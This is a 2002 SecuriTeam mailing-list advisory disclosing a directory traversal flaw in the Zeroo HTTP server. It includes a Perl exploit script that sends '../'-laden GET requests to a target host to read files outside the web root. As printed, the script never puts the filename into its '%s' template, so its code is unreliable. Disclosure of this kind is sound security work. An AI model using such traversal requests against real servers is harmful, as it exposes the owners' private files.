[NEWS] Zeroo Folder Traversal Vulnerability

From: support@securiteam.com
Date: 11/22/02

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To: list@securiteam.com
Date: 22 Nov 2002 17:48:15 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      Zeroo Folder Traversal Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://lonerunner.cfxweb.net/> Zeroo is a simple, small, portable, fast
    HTTP server. A directory traversal vulnerability has been found in the
    product allowing remote attackers to compromise the integrity of the
    remote server.

    DETAILS

    A folder traversal flaw in the server may allow attackers to compromise
    sensitive information stored on the server's volume.

    Exploit:
    #!/usr/bin/perl
    use IO::Socket;
    $pkt = "GET
    /../../../../../../../../../../../../../../../../../../../../%s
    HTTP/1.0\r\n\r\n";
    if (@ARGV < 2 || @ARGV > 3) {
    print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
    exit;
    }
    if (@ARGV==3) {
    $port=$ARGV[2];
    } else {
    $port=80;
    }
    $f =
    IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
    if (!defined($f)) {
    $err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
    print STDOUT $err;
    exit;
    }
    $f->autoflush(1);
    print $f $pkt;
    while (defined($line = <$f>)) {
    print STDOUT $line;
    }
    undef $f;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mattmurphy@kc.rr.com> Matt
    Murphy.

    ========================================

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